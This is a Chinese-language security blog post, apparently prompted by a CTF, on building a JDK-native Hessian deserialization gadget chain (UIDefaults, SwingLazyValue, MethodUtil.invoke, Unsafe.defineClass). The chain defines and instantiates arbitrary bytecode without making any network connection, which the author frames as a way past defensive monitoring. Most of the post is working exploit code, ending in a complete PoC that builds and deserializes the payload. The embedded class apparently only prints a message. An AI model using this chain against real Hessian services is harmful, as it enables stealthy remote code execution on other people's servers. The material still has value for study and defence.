探寻Hessian JDK原生反序列化不出网的任意代码执行利用链

最近看到一些师傅在做一个CTF的时候找到了Hessian的JDK原生反序列化的利用链,简单了解Hessian的反序列化原理,发现其只需要通过调用SerializerFactorysetAllowNonSerializable(true);函数关闭Serializable派生类检查,就可以使其序列化、反序列化任何没有继承Serializable的类,这点相较于原生反序列化稍微有点特殊。

在一个师傅的文章里找到了一条JDK原生的可以invoke任意函数,或实例化任意类的gadget:

UIDefaults.get
  UIDefaults.getFromHashTable
    UIDefaults$LazyValue.createValue
      SwingLazyValue.createValue

invoke任意函数,最常见的就是执行命令Runtime.getRuntime().exec(),JNDI注入InitialContext.doLookup(),都有师傅根据上述gadget给出了相应的实现。

但是在实际场景中,各种防护系统对于此类敏感操作都较为敏感,能否不执行命令、不出网直接执行任意代码呢?

不出网执行任意代码的手段之一是将字节码defineClass然后newInstense,比如像基于TemplatesImpl的原生反序列化。

根据组里flowerwind大哥分析SwingLazyValue.createValue函数的代码逻辑时发现,该函数在methodName为空的情况下,可直接对用户传入的className进行实例化操作。

于是只需要找寻可defineClass的路径即可。

几番寻找后我找到了一个有重大嫌疑的点sun.reflect.ClassDefiner.defineClass

看起来可以利用命令执行链中的sun.reflect.misc.MethodUtil.invoke()来实现利用链,看起来非常完美🤤。

于是构造开始

Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method defineClass = Class.forName("sun.reflect.ClassDefiner").getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class);
defineClass.setAccessible(true);
Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, null, new Object[]{"print", bcode, 0, bcode.length, Thread.currentThread().getContextClassLoader()}}};

SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", ags);
Object[] keyValueList = new Object[]{"abc", swingLazyValue};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
hashtable1.put("a", uiDefaults1);
hashtable2.put("a", uiDefaults2);
serObj(hashtable1, hashtable2);
readObj();

看起来是ClassLoader里的path参数在反序列化阶段出现了问题,打断点发现,Hessian在处理URL类型时貌似存在缺陷,手动构造一个类,仅添加一个URL参数,也会出现相同的报错。

于是尝试将sun.reflect.ClassDefiner.defineClassclassLoader参数置空,发现同样可成功defineClass

正当我一阵狂喜,尝试newInstense,一盆冷水却浇了下来…

仔细阅读ClassDefiner.defineClass源码发现,应该是其新实例化的ClassLoader导致的问题,该函数将会用DelegatingClassLoader类创建一个新的ClassLoader,而在新的ClassLoader中创建的类,无法在当前线程的ClassLoader中找到,自然也无法newInstense。

于是我重新梳理思路,如果我跳过ClassDefiner.defineClass直接调用Unsafe.defineClass呢?

看下Unsafe的defineClass定义,好家伙,是个native方法

由于Unsafe.defineClass不是静态方法,需要拿到Unsafe实例才能invoke,不过这个也比较简单,直接反射拿Unsafe.theUnsafe即可

Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Object unsafe = f.get(null);

重新构造序列化数据

Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Object unsafe = f.get(null);
Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"print", bcode, 0, bcode.length, null, null}}};
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", ags);
Object[] keyValueList = new Object[]{"abc", swingLazyValue};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
hashtable1.put("a", uiDefaults1);
hashtable2.put("a", uiDefaults2);
serObj(hashtable1, hashtable2);
readObj();

走通了!

print类中的代码被成功执行,现在只需要再生成一个执行newInstense的序列化数据即可。

虽然逻辑走通了,但是需要两个序列话数据包才能实现。那么新的问题又来了,这两个步骤能不能在一个序列化数据包内实现呢?

当然也是可以的,只需要触发两次getFromHashtable就行了,根据逻辑修改序列化代码

完整代码

package org.example;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import sun.misc.Unsafe;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.HashMap;
import java.util.Hashtable;

public class hessian_demo_main {
    static SerializerFactory serializerFactory = new SerializerFactory();
    static  byte[] bcode;

    static {
        try {
            bcode = Base64.decode("yv66vgAAADIAHwoABgARCQASABMIABQKABUAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTHByaW50OwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAH3ByaW50LmphdmEgZnJvbSBJbnB1dEZpbGVPYmplY3QMAAcACAcAGQwAGgAbAQAJcHJpbnQgb2shBwAcDAAdAB4BAAVwcmludAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAIAAQAHAAgAAQAJAAAALwABAAEAAAAFKrcAAbEAAAACAAoAAAAGAAEAAAABAAsAAAAMAAEAAAAFAAwADQAAAAgADgAIAAEACQAAACUAAgAAAAAACbIAAhIDtgAEsQAAAAEACgAAAAoAAgAAAAMACAAEAAEADwAAAAIAEA==");
        } catch (Base64DecodingException e) {
            throw new RuntimeException(e);
        }
    }

    public static void main(String[] args) throws Exception {
        serializerFactory.setAllowNonSerializable(true);
        Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
        Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
        Field f = Unsafe.class.getDeclaredField("theUnsafe");
        f.setAccessible(true);
        Object unsafe = f.get(null);
        Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"print", bcode, 0, bcode.length, null, null}}};

        SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", ags);
        SwingLazyValue swingLazyValue1 = new SwingLazyValue("print", null, new Object[0]);

        Object[] keyValueList = new Object[]{"abc", swingLazyValue};
        Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};
        UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
        UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
        UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
        UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
        Hashtable<Object, Object> hashtable1 = new Hashtable<>();
        Hashtable<Object, Object> hashtable2 = new Hashtable<>();
        Hashtable<Object, Object> hashtable3 = new Hashtable<>();
        Hashtable<Object, Object> hashtable4 = new Hashtable<>();
        hashtable1.put("a", uiDefaults1);
        hashtable2.put("a", uiDefaults2);
        hashtable3.put("b", uiDefaults3);
        hashtable4.put("b", uiDefaults4);

        serObj(hashtable1, hashtable2, hashtable3, hashtable4);
        readObj();


    }

    static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 4);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 4);
        Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));
        Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));
        Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));
        Reflections.setFieldValue(s, "table", tbl);
        Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));
        hessian2Output.setSerializerFactory(serializerFactory);
        hessian2Output.writeObject(s);
        hessian2Output.close();
    }

    static void readObj() throws Exception {
        Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));
        hessian2Input.readObject();
    }
}

参考资料

留下评论

您的电子邮箱地址不会被公开。 必填项已用*标注